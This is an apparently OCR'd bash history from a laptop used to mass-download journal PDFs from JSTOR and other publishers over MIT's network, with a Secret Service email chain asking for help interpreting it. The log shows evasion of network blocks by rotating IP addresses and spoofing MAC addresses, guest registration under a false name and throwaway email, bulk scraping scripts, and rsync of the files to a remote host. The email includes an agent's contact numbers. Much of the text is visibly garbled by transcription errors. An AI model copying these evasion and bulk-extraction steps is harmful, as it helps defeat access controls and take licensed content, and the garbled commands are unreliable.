curl -interface eth0:1 www.jstor.org
/sbin/ifconfig -a
sudo ifconfig eth0:1 static 18.54.4.241
curl -interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.54.3.241
sudo ifconfig eth0:1 static 18.55.5.241
sudo ifconfig eth0:1 up static 18.55.5.241
ls blocks/|wc -l
ping 4.2.2.2
cd vol
cd /vol
"/keepgrabbing.py"
fg
cd ..
ls vol
ls -l vol
rm vol
sudo rm vol
sudo ln -s /media/drive /vol
cd /vol
"/keepgrabbing.py"
q
"/keepgrabbing.py"
cd ..
cd vol
"/keepgrabbing.py"
cd
ls
mkdir tomove
cd tomove
mkdir pdfs
"/keepgrabbing.py"
emacs ../keepgrabbing.py
"/keepgrabbing.py"
sudo rm /vol
sudo ln -s /media/3aab9fe1-9c54-43b1-9374-72722d78d3e0/ /vol
cd /vol
"/keepgrabbing.py"
fg
ls
cd ../vol
"/keepgrabbing.py"
links www.jstor.org
dhcclient
/sbin/ifconfig -a
ifconfig up eth0:1 18.55.6.251
ifconfig -help | less
ifconfig -help
ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.252
/sbin/ifconfig -a
ping -help | less
ping -I eth0:1 www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
sudo ifconfig eth0:1 up static 18.55.6.241
/sbin/ifconfig -a
ping -I eth0:1 www.google.com
ping -I 18.55.6.241 www.google.com
curl --interface eth0:1 www.google.com
curl --interface eth0:1 www.jstor.org
curl -help | less
/sbin/ifconfig -a
sudo ifconfig eth0:1 up static 18.55.6.252
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 up static 18.55.7.240
curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.jstor.org/x
ls
eemacs keepgrabbing.py
cd tomove/pdfs/
lst | wc -l
mv * /vol/pdfs
ls
ls
rm
mkdir umi
cd umi
curl -o 0.html "proquest.umi.com/pqdwcb?RQT=30S&S=PMID(66569)&PageSize=50"
curl -o 0.html "proquest.umi.com/pqdwcb?RQT=30S&S=PMID(66569)&PageSize=50&cf=1"
m more 0.html
curl -I proquest.umi.com/pqdwcb?RQT=30S&S=PMID(66569)&PageSize=50
curl -I "proquest.umi.com/pqdwcb?RQT=30S&S=PMID(66569)&PageSize=50"
curl -H "Cookie: jSESSIONID=f4zWwqzMrSha" -o 0.html
"proquest.umi.com/pqdwcb?RQT=30S&S=PMID(66569)&PageSize=50"
m more 0.html
curl -H "Cookie: jSESSIONID=f4zWwqzMrSha" -o 50.html
"proquest.umi.com/pqdwcb?RQT=30S&S=PMID(66569)&PageSize=50&firstindex=50"
diff -u 0.html 50.html
emacs curlcommands.py
emacs curlcommands.py
python curlcommands.py
python curlcommands.py
more curlcommands.sh
rm curlcommands.py
emacs curlcommands.py
python curicommands.py
more curicommands.sh
bash curicommands.sh
more 1100
more 1100.html
lynx -dump 1100.html
links 1100.html
python
cat > saneurl.py
g
is /media
g
mkdir /media/drive/umi
g
.curl -i http://teraguet.umi.com/cadweb
g
is /media/drive/umi
more /media/drive/2073772711.pdf
more /media/drive/umi/2073772711.pdf
more /media/drive/umi/2073772711.html
more /media/drive/umi/2073772711.pdf
g
cd /vol
"/keepgrabbing.py
cd ..
cd vol
~/keepgrabbing.py
g
~/keepgrabbing.py
cd ..
cd vol
ls
~/keepgrabbing.py
ls
df -h
pwd
cd ..
cd vol
~/keepgrabbing.py
cd .. /vol
ls
~/keepgrabbing.py
cd /media
ls
cd 3aab9fe1-9c54-43b1-9374-72722d78d3a0/
ls
df -h
sudo shutdown now
cd /media/de
cd /media/drive/
mkdir jsindex
sudo mkdir jsindex
sudo chown ghost jsindex

cd jsindex

python
ls
fg

more 2010/0800.html

cd 1989
ls
cd /vol/
ls
cd jsindex/1989
ls
ls -l | less
ls -l | tail
cd ../1990
ls -l | less

python

python /usr/bin/easy_install
sudo easy_install --install-dir /usr/lib/python2.6/ pyoai

PYTHONPATH=/usr/lib/python2.6 sudo easy_install --install-dir /usr/lib/python2.6/ pyoai

sudo easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoai

sudo PYTHONPATH=/usr/lib/python2.6/site-packages easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoai

cd /usr/local/lib/python2.6/
ls -a
cd dist-packages/
ls -a
rm *
sudo rm *
sudo rm -rf *
sudo easy_install pyoai

python
ls
python
cd
cd blocks/|wc -l
fg
ps ax | grep keep
ps ax | grep ser
fg %1
fg 0
fg
kill 2137
kill 2138
ps ax | grep keep
python serveblocks.py 8092
fg
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
emacs oalgrab.py
python -i oalgrab.py | tee urlstograd2.wget

cd /vol
wget -x -nv -nc -i ~/urlstograd.wget
more analysis.oxfordjournals.org/content/35/3/97.full.pdf
wget -x -nv -nc -i ~/urlstograd.wget
mkdir sd

cd sd
is

is www.sciencedirect.com/science/page/sitemap/publication/
is
cd serial/
is
cd journals/
is
eemacs ~/sis
chmod +x ~/sis
~/sis | less
~/sis . | less
more 17509467.html
ls 0242648X
ls 0242648X/24
ls 0242648X/24/3
more 0242648X/24/3/243.html
python

rm
mkdir /vol/sd/jo

rm
cd
cd
python
ls
cd uml
cd
python
cd
more keepgrabbing.py
cd /vol/
is
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfs/
~/keepgrabbing.py
cd ..
```
~/keepgrabbing.py
fg
~/keepgrabbing.py
dids
tg
python
pwd
is
cd ~/uml
python
tg
python
ls 1000000.html
tg
more 128214.html
more 128213
less 128204.html
less /vol/uml/128204.html
links /vol/uml/128204.html
python
ls -t
ls blocks | wc -l
python
ls *dbm
tg
ls
more deleteandgrab
split -o 5 ~1000 deleteandgrab blocks/regrabc
ls blocks | wc -l
cd blocks/
ls | less
ls | tail
cd ...
tg
ls /mnt
df
ls /media/drive
tg
links http://caliber.ucpress.net/doc/pdf/10.1525/as.2010.50.5.835
ls
rm p1 célibe.pdf
curl "http://portal.acm.org//ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55059171"
curl -l "http://portal.acm.org//ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55059171"
curl -l "http://portal.acm.org//ft_gateway.cfm?id=1187439&type=pdf"
curl -l "http://portal.acm.org//ft_gateway.cfm?id=1187439&type=pdf" | less
ls
more serveblocks.py
emacs serveblocks.py
more keepgrabbing.py
ls /vol
~/ais /vol uml > uml.sls
more uml.sls
```
```bash
~ /
ls -lR /vol/ > js3.jsIR
more js3.jsIR
ls -lR /vol / > js3.jsIR
more js3.jsIR
wc -l js3.jsIR

echo -n me@aaronsw.com md5sum

df
ps ax

df

cd /dev/sdc/vol

cd /vol

cd /media/

cd /media/

cd /media/drive

rm drive

sudo rm drive

sudo mkdir drive

sudo mkdir /dev/sde drive

sudo mkdir /dev/sde1 drive

cd drive

ls

df

fd -h

df -h

mkdir pdfs

sudo mkdir pdfs

sudo chown ghost pdfs

ls

~ /keepgrabbing.py

cd /media/drive/pdfs

more 3590725.pdf

less 3697690.pdf

less 30072010.pdf

less 60244678.pdf

less 3523570.pdf

less 3548593.pdf

less 3523645.pdf

less 3813153.pdf

less 3833338.pdf

less 3278339.pdf

less 1888323.pdf

less 688560.pdf

less "234",pdf

less 742572.pdf

less 30058803.pdf

less 2023815.pdf

more 2023815.pdf

cd

~/keepgrabbing.py
```
tg
ls
cd pdfs
ls
df -h
cd /vol/
~/keepgrabbing.py
cd ..
cd vol
~/keepgrabbing.py

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
From: (redacted)
To: (redacted)
Cc: (redacted)
Subject: Re: bash history of Acer involved with MIT hack and downloading from JSTOR

Do you have some time today that we can go over the questions you have on the bash history listed below and keepgrabbing python script?

From: russ.dhs.gov
Date: Tue, 8 Mar 2011 17:24:05 -0500
To: cart.org
Subject: Pw: bash history of Acer involved with MIT hack and downloading from JSTOR

Special Agent
U.S. Secret Service
Desk (Mobile)
412-268-5226 (Fax)

From: (redacted)
To: (redacted)
Sent: Tue Mar 08 17:21:53 2011
Subject: Pw: bash history of Acer involved with MIT hack and downloading from JSTOR

would anyone have time available to help me decipher the bash history for proof of Mac spoofing and interpret what the script keepgrabbing.py does?

Sent from Blackberry

From: (redacted)
To: (redacted)
Cc: (redacted)
Subject: bash history of Acer involved with MIT hack and downloading from JSTOR

FYI

The bash history of the Acer that was connected to the MIT network has references to the python script keepgrabbing and JSTOR:
ex-tpupdate --help|less
sudo ex-tpupdate
dsuo ex-tpupdate -l eth0
more /etc/ex-tpupdate/default.conf
ex-tpupdate --help|less
dsuo ex-tpupdate -c /etc/ex-tpupdate/default.conf
dsuo ex-tpupdate -v -c /etc/ex-tpupdate/default.conf
ex-tpupdate --help|less
dsuo ex-tpupdate -v -c /etc/ex-tpupdate/default.conf -l eth0
dsuo ex-tpupdate -c /etc/ex-tpupdate/default.conf -l eth0
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
ls /mnt/ | wc -i
cd /mnt
ls
ps ax | grep touch
ps ax | grep seq
touch 1
ls
touch 2
seq 1 20
seq 1 20 | xargs touch
ls | wc -i
seq 1 2000000 | xargs touch
ls | wc -i
ls | less
ls | wc -i
ps ax | grep bash
w
who am i
kill 3658
kill -9 3658
mkdir pdfs
cd pdfs
~/keepgrabbing.py
emacs /home/ghost/keepgrabbing.py
zile /home/ghost/keepgrabbing.py
~/keepgrabbing.py
touch foo
rm foo
cd ..
~/keepgrabbing.py
cd /mnt
ls
rm *
ls
cd pdfs
ls
cd
ls
python serveblocks.py
python serveblocks.py 8092
bg
fg
ps ax | grep serve
kill 2461
ps ax | grep serve
python serveblocks.py 8092
bg
ls /mnt
ls /mnt/pdfs
ls -l /mnt/pdfs/
cd
gnome-screensaver-command --activate
ls
ps ax | grep curl
kill 19047
curl www.jstor.org
dhcclient --help
sudo dhcclient
bwmg-ng
ls blocks/|wc -l
df -h
links www.jstor.org/stable/873098
bwmg-ng
gnome-screensaver-command --activate
ls blocks/|wc -l
bwmg-ng
ls blocks/|wc -l
uptime
bwmg-ng
df -h
ls blocks | wc -l
bwmg-ng
sudo umount /mnt
df
screen -x
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
tg
~ /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
0
cd /mnt/
~/keepgrabbing.py
bg; ~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
bg
bg; ~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
"~/keepgrabbing.py
"~/keepgrabbing.py
"~/keepgrabbing.py
~r
screen -x
uptime
df -h
screen -r
screen -x
ev
uptime
bwm-ng
df -h
screen -x
ps ax | grep curl
ps ax | grep keepgr | awk '{print $1}' | xargs kill
ps ax | grep curl
ps ax | grep gr
ps ax | grep curl
df -h
/sbin/ifconfig -a
  sudo ifconfig eth0:1 static 18.55.7.49
curl --interface eth0:1 www.jstor.org
  curl --interface eth0:1 www.google.org
  rsync -avz pdfs/ ghost-macbook.dyndns-free.com:/vol/pdfs
screen -r
screen -x
python
  sudo easy_install pyoai
sudo apt-get install python-bml
sudo easy_install pyoai
python
  sudo easy_install --remove pyoai
easy_install --help
easy_install --help less
sudo easy_install --remove pyoai
python
  sudo easy_install pyoai
cd /usr/local/lib/python2.6/
ls
  ls site-packages/
  cd
ls
locate easy-install.pth
locate easy_install.pth
sudo easy_install pyoal
locate easy-install.pth
cd /usr/lib/python
ls
ls -a
ls ./python2.6
ls
easy_install --help
easy_install --help | less
python serveblocks.py
python serveblocks.py 8092
bg
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
ping 4.2.2.2
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sleep 60
sudo dhclient -r
sudo dhclient
cd /vol/
ls -l
ls -lh pdfs
easy_install pyoal
sudo apt-get install python-setuptools
sudo apt-get update
sudo apt-get install python-setuptools
sudo apt-get upgrade
ez-ipupdate
sudo /etc/init.d/ez-tpupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig eth0
ping 18.55.7.237
ping ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-tpupdate restart
ping 18.55.7.237
ping ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-tpupdate help
sudo /etc/init.d/ez-tpupdate force-reload
ping ghost-laptop.dyndns-free.com
more /etc/init.d/ez-tpupdate
more /etc/ez-tpupdate/default.conf
sudo less /etc/ez-tpupdate/default.conf
ps ax | grep ez-tp
ping ghost-laptop.dyndns-free.com
cd /vol/pdfs/
ls
ls | less
python oalgrab.py
python -I oalgrab.py
cd /vol/
ls
cd muse.jhu.edu/
ls
ls
ls
ls
more 17.3
more 17.3dutton.html
man wget
du -hsc /vol/*
du -hsc /vol/*
bwm-ng
ls -lh uristograb.wget
grep pdf uristograb.wget
screen -x
man wget
cd /vol/
ls
wget -x -nc ~/uristograb.wget
wget -x -nc -I ~/uristograb.wget
sudo chown ghost.
wget -x -nc -I ~/uristograb.wget
wget -q -x -nc -I ~/uristograb.wget
wget -nv -x -nc -I ~/uristograb.wget
screen -x
emacs oalgrab.py
sudo apt-get install emacs23-nox
emacs oalgrab.py
python oalgrab.py | tee uristograb.wget
wc -l uristograb.wget
grep html uristograb.wget | sed -e 's/html/pdf/" > uristograb2.wget
grep pdf uristograb.wget | sed -e 's/pdf/html/" > uristograb2.wget
more uristograb
more uristograb2.wget
cd /vol/
wget -nv -x -nc -I ~/uristograb2.wget
grep html uristograb.wget | sed -e 's/html/pdf/" >> uristograb2.wget
cd
grep html uristograb.wget | sed -e 's/html/pdf/" >> uristograb2.wget
cd /vol/
wget -nv -x -nc -I ~/uristograb2.wget
curl muse.jhu.edu/f
links muse.jhu.edu
screen -x
cd /media/noname/
ls
cp tograb.log /home/ghost/
cd
cd
cd blocks/
ls | wc -l
cd ...
l
ls
mv tograb.log blocks/
cd blocks/
more tograb.log
split -n 100 tograb.log
split --help
split --help | less
split -a 5 -l 100 tograb.log tograb
ls tograb *
w -l
ls | wc -l
mv tograb.log ...
sudo dhclient --release
sudo dhclient -r
sudo dhclient
sudo dhclient
sudo dhclient
sudo /etc/init.d/ez-upupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig -a | less
ping ghost-laptop.dyndns-free.com
screen -x
sudo ifconfig eth0 up
curl --interface eth0 https://nic.mit.edu:444/bin/dynarea?class=visitor
/sbin/ifconfig -a
sudo dhclient
curl --interface eth0 https://nic.mit.edu:444/bin/dynarea?class=visitor
cat logininfo
curl --interface eth0 https://10.72.0.47:444/bin/dynarea?class=visitor
curl --interface eth0 10.72.0.47
ping --hel
ping -1 eth0 10.72.0.47
/sbin/ifconfig -a
ping -1 eth0 4.2.2.2
man ping
ping -1 10.2.55.120 4.2.2.2
sudo ping -1 10.2.55.120 4.2.2.2
/sbin/ifconfig -a | less
sudo ping -l 10.2.55.120 4.2.2.2
sudo ping -I wlan0 4.2.2.2
sudo ping -I eth0 4.2.2.2
ping -I eth0 4.2.2.2
sudo ping -l eth0 4.
sudo ping -l eth0 10.72.0.47
sudo curl --interface eth0 10.72.0.47
man curl
sudo curl --interface 10.2.55.120 10.72.0.47
route
/sbin/ifconfig -a
route add default gw 18.2.55.1
sudo route add default gw 18.2.55.1
sudo ping -l eth0 10.72.0.47
echo "sudo route add default gw 18.2.55.1" >> logininfo
sudo curl --interface 10.2.55.120 10.72.0.47
curl --interface eth0 10.72.0.47
curl --interface eth0 https://10.72.0.47:444/bin/dynarea?class=visitor
curl -k --interface eth0 https://10.72.0.47:444/bin/dynarea?class=visitor
curl -d "class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynarea
curl -d "class=visitor&action=Register" -k --interface eth0 https://10.72.0.47:444/bin/dynarea
curl -d "vname=Grace+Host@ymail=ghost42@mailinator.com&action=Register&class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynarea
echo 'curl -d "vname=Grace+Host@ymail=ghost42@mailinator.com&action=Register&class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynarea' >> logininfo
curl --interface eth0 10.72.0.47
sudo dhclient eth0
sleep 600; sudo dhclient eth0
route
curl --interface wlan0 www.yahoo.com
curl --interface wlan0 4.2.2.2
sleep 600; sudo dhclient eth0
sudo dhclient eth0
sudo ping -l eth0 10.72.0.47
sudo ping -l wlan0 4.2.2.2
sudo ping -l eth0 4.2.2.2
man route
dnsp

dig www.yahoo.com
dig www.yahoo.com [grep "IN"]
dig www.yahoo.com [grep "IN"] | grep 10.72
echo 'dig www.yahoo.com [grep "IN"] | grep 10.72' > logininfo
/sbin/ifconfig -a
/sbin/ifconfig -a | grep eth
sudo ifconfig eth0 hw 00:4ce5:a0:c7:56
sudo ifconfig eth0 hw ether 00:4ce5:a0:c7:56
sudo ifdown eth0
sudo ifconfig eth0 hw ether 00:4ce5:a0:c7:56
da ifconfig eth0 down
da ifconfig eth0 hw ether 00:4ce5:a0:c7:56
da ifconfig eth0 up
dmacs logininfo
ping www.yahoo.com
dig yahoo.com
sudo dhclient
dig www.yahoo.com
emacs logininfo
emacs /etc/ez-tpupdate/default.conf
/sbin/ifconfig -a
sudo emacs /etc/ez-tpupdate/default.conf
/etc/init.d/ez-tpupdate restart
sudo /etc/init.d/ez-tpupdate restart
dig
dig x.dyndns-free.com
dig ns x.dyndns-free.com
cat /etc/resolv.conf
cat /etc/resolv.conf
dig www.yahoo.com
dig www.yahoo.com
links --help
links --help | grep interf
links --help | grep interf
lynx
curl --interface eth0 www.yahoo.com
dig @10.2.55.7 www.yahoo.com
dig @10.2.55.2 www.yahoo.com
sudo dhclient
cat /etc/resolv.conf
sudo dhclient
cat /etc/resolv.conf
ping 10.72.0.47
dig @10.72.0.47 www.google.com
gnome-screensaver-
df
ping www.yahoo.com
echo 10.72.0.47>> logininfo
dig --help
host --help
dig ns x.dyndns-free.com
dig @ns1.dyndns.org ghost-laptop.dyndns-free.org
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ssh ghost-laptop.dyndns-free.org
ssh ghost-laptop.dyndns-free.com
ash --help | grep interf
man ssh
sudo ifconfig eth0 down
ssh ghost-laptop.dyndns-free.com
sudo curl --interface eth0 10.72.0.47
route
ssh ghost-laptop.dyndns-free.com
ping www.yahoo.com
/sbin/ifconfig -a
ssh 10.189.76.179
sudo dhclient eth0
sudo dhclient eth0
route
man route
route
sudo dhclient eth0
sudo route del default
sudo route -net 10.0.0.0 gw 10.189.64.1
sudo route add -net 10.0.0.0 gw 10.189.64.1
sudo route add 10.0.0.0 gw 10.189.64.1
route
ping 10.189.76.179
ping 10.72.0.47
sudo dhclient eth0
/sbin/ifconfig -a
ping google.com
route
ping 4.2.2.2
sudo dhclient eth0
cat logininfo
curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14"
curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k -interface eth0
https://10.72.0.47:444/bin/dynareg
echo 'curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k -interface eth0
https://10.72.0.47:444/bin/dynareg' >> logininfo
curl www.yahoo.com
echo 'curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k -interface eth0
https://10.72.0.47:444/bin/dynareg' >> logininfo
curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k -interface eth0
https://10.72.0.47:444/bin/dynareg
curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=5" -k -interface eth0
https://10.72.0.47:444/bin/dynareg
sudo dhclient eth0
sudo dhclient -r
sudo dhclient -r eth0
sudo dhclient eth0
/sbin/ifconfig -a > ifconfiglog
/sbin/ifconfig -a
sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether 90:4c:e5:a0:c7:55
sudo ifconfig wlan0 up
/sbin/ifconfig -a
/etc/init.d/ez-ipupdate restart
sudo /etc/init.d/ez-ipupdate restart
dig ghost-laptop.dyndns-free.com
ping 4.2.2.2
sudo dhclient
ping 4.2.2.2
ping www.yahoo.com
route
curl www.yahoo.com
ssh ghost-laptop.dyndns-free.com
/sbin/ltconfig -a
ssh 19.111.48.33
curl www.yahoo.com
sudo dhclient eth0
cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/
ls
ls | grep alp
ls | grep -v oxford
cd /vol
ls
cd www.genome.org/content/1/3/
ls
cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/
more pdfs/2520824.pdf
more pdfs/25208234.pdf
ls -l pdfs/25208234.pdf
ls -U pdfs | head
python
ps ax | grep python
ps ax | grep is
sudo kill 8185
sudo kill -9 8185
fg
cd b1
cd blocks/
ls
cd done/
ls | less
ls | head
more alfpdf00000009
more alfpdf00000009
more alfpdf00000009
ls -l /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/20273145.pdf
ls | tail
more tograb-aggu
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/399815.pdf
ls -l /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/399815.pdf
ls | less
ls | grep -v pd | less
ls | grep blk | tail
more blick0000003629
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/399479
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/399479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/3999479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/3999479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/pdfs/3999478.pdf
cd
python
ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/ /media/drive
sudo ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665a/ /media/drive
fg
ls /media/drive/pdfs*
c
w
/sbin/ifconfig -a
ssh 10.189.61.53
/sbin/ifconfig -a
sudo /etc/init.d/ex-ipupdate restart
ssh 18.111.48.33
ls
more failedandneedtograd
cat failedandneedtograd | sed -e 's/.pdf//g' | sort -u | head
cat failedandneedtograd | sed -e 's/.pdf//g' | sort -u > failed-partial-clean
head failed-partial-clean > blocks/testfailed
/sbin/ifconfig -a
curl --interface wlan0 www.yahoo.com
route
ping 18.111.31.1
wc -l failedandneedtograd
sudo apt-get install autosh
cd /tmp/rapid
ps ax | grep dhclient
kill 7937
sudo kill 7937
cd /tmp/rapid
ps ax | grep dhclient
ps ax | grep netwo
ps ax | grep Netw
sudo kill 730
ps ax | grep Netw
ps ax
/etc/init.d/network-manager stop
sudo /etc/init.d/network-manager stop
ps ax
ps ax | grep dhcl
sudo kill 6839
ps ax
/sbin/ifconfig -a
sudo amcs /etc/ex-ipupdate/default.conf
sudo /etc/init.d/ex-ipupdate restart
dig ghost-laptop.dyndns-free.com
ls
screen -x
w
who am i
wc -l failed-clean
screen -x
l
ls
cat failedandneedtograd | sed -e 's/.pdf//g' | sort -u > failed-partial-clean
wc -l failedandneedtograd
cat failedandneedtograb | sed -e 's/pdf/\(/' | sort -u > failed-clean
rm failed-partial-clean
more failed-clean
cd blocks/done
ls | less
less blh000000000020
wc -1 blh000000000020
cd ..
split -h
split -a S -l 1000 failed-clean blocks/blkjfail
df -h
clear
screen -x
screen -x
who am i
cd uml
python
cd uml
grep 797854 *
grep 801899 *
ls
more 900.html
grep 1978790241 *
screen -r
screen -x
links
ls
screen -x
ls blocks
ls
rm failedandneedtograb
rm failed-clean
python
ls
mv pdf2size.dbm pdf2size-js3.dbm
fg
more stiltograph
split --help
split -a S -l 100 stiltograph blocks/stilibk
ls blocks
fg
cd /media/drive/pdfs
more 3590725.pdf
less 3697690.pdf
cd /media/drive/pdfs
more 3590725.pdf
less 3697690.pdf
links "http://www.nelm.org eax-
pr/dol/full/10.1056/NEJMoa0738190?harrytnt2=ef1_bsecsha&filev=40161e4ba45488a1d99c3c00d3160f61b7fe2794d&
ls
ls uml/saneurl.py
cd ..
mkdir pdfs
more deleteandgrab
ls
ls -l
more pdfs3.xls
tail pdfs3.xls
ls
more js3.jsir
less js3.jsir
ls -lh js3.jsir
fg
ls
ls -lh pdf2stze.js4.dbm
wc -l js3.jsir
python
split -a 5 -l 100 30mblocks blocks/grp30m
cd /vol/jsindex/
python
cd /media/dr
python

more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pdf
curl protect.theinfo.org
links protect.theinfo.org
df

ps ax | grep part
ps ax
cd /media/
ls
mkdir drive2
sudo mkdir drive2
sudo mount /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf1 drive2
df
df -h

cd drive2
ls
ls -a
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd /vol
ls
ls -l
cd ..
ls -l
rm vol
sudo rm vol
sudo ln -s /media/drive2 vol
screen -r
screen -x
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
dhcclient
sudo dhcclient
sudo ifdown eth0:1
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
ping 4.2.2.2
cat /etc/resolv
rm /etc/resolv.conf
ping 10.72.0.47
ping 10.72.0.47
ping 4.2.2.2
sudo ifconfig down eth0:1
sudo ifconfig eth0:1 down
/sbin/ifconfig -a | less
sleep 600 && bell
bg
dhcclient
sudo dhcclient
df -h
sudo umount /dev/sdf1
fg
df
ps ax | grep dhcclient
sudo kill 31696
/sbin/ifconfig -a | less
screen -x
gnome-screensaver
gnome-screensaver-command --lock
gnome-lock-screen
gnome-screensaver-lock
xscreensaver --lock
gnome-screensaver-command --lock
gnome-screensaver
screen -x
df
cd /media/
ls
mount /dev/sdf1 3aab9fe1-9c54-43b1-9374-72722d78d3e0/
sudo mount /dev/sdf1 3aab9fe1-9c54-43b1-9374-72722d78d3e0/
df
sudo mount /dev/sdh1 3aab9fe1-9c54-43b1-9374-72722d78d3e0/
ls
/sbin/ifconfig -a
sudo ifconfig mac 91:4ce5:a0:c7:55
ls
/sbin/ifconfig -a > mac
sudo ifconfig mac 91:4c:e5:a0:c7:55
if
sudo ifconfig eth0 mac 91:4c:e5:a0:c7:55
man ifconfig
sudo ifconfig eth0 hw ether 91:4c:e5:a0:c7:55
/sbin/ifconfig -a | grep ether
/sbin/ifconfig eth0
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
sudo ifdown eth0
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
sudo ifconfig eth0 down
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
sudo ifconfig eth0 up
dhcclient
sudo dh
dhc
sudo dhclient
sudo dhclient -r
cd /mnt/
ls
ls
df

cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/
ls
ls -l /
ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /vol
SUDO ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /vol
sudo ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /vol
cd /vol
is
df
ifconfig
sudo dhclient -r
sudo dhclient
is
cd
is
screen -r
ls blocks/| wc -l
screen
screen -r
screen -x
wc -l uristograb.wget
df -h | media
df -h | grep media
wc -l uristograb.wget
df -h | grep media
grep -v oxford uristograb.wget | less
grep -v oxford uristograb.wget | grep -v dukejo | grep -v genesdev | grep -v err | less
grep -v oxford uristograb.wget | grep -v dukejo | grep -v genesdev | grep -v err | grep -v cship | grep -v majou | less
grep -v oxford uristograb.wget | grep -v dukejo | grep -v genesdev | grep -v err | grep -v cship | grep -v majou | grep -v genome | less
grep -v oxford uristograb.wget | grep -v dukejo | grep -v genesdev | grep -v err | grep -v cship | grep -v majou | grep -v genome | grep -v learnmem | less
/sbin/ifconfig -a | less
df
umount /media/drive
cd /media/drive/
ls
df -h
ls
sudo umount /dev/sde1
sudo umount -f /dev/sde1
df
/sbin/ifconfig -a | less
df -h | grep drive2
ls blocks/ | wc -l
cd
ls blocks/ | wc -l
df -h | grep drive2
/sbin/ifconfig -a
ifconfig eth0:1 static 18.55.7.241
sudo ifconfig eth0:1 static 18.55.7.241
/sbin/ifconfig -a
curl --interface eth0:1 www.jstor.org
curl --interface eth0 www.jstor.org
sudo ifconfig eth0:1 static 18.55.6.241
curl --interface eth0 www.jstor.org
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.5.241
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.4.241
curl --interface eth0:1 www.jstor.org
/sbin/ifconfig -a
sudo ifconfig eth0:1 static 18.54.4.241
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.54.5.241
sudo ifconfig eth0:1 static 18.55.5.241
sudo ifconfig eth0:1 up static 18.55.5.241
ls blocks/ | wc -l
ping 4.2.2.2
cd vo
cd /vol
~/keepgrabbing.py
fg
cd ..
ls vo
ls -l vo
rm vo
sudo rm vo
sudo ln -s /media/drive /vol
cd /vol
~/keepgrabbing.py
a
~/keepgrabbing.py
cd ..
cd vol
"/keepgrabbing.py"

cd

l.s
mkdir tomover
cd tomover
mkdir pdfs
"/keepgrabbing.py"

ame.com "/keepgrabbing.py"
"/keepgrabbing.py"
sudo rm /vol
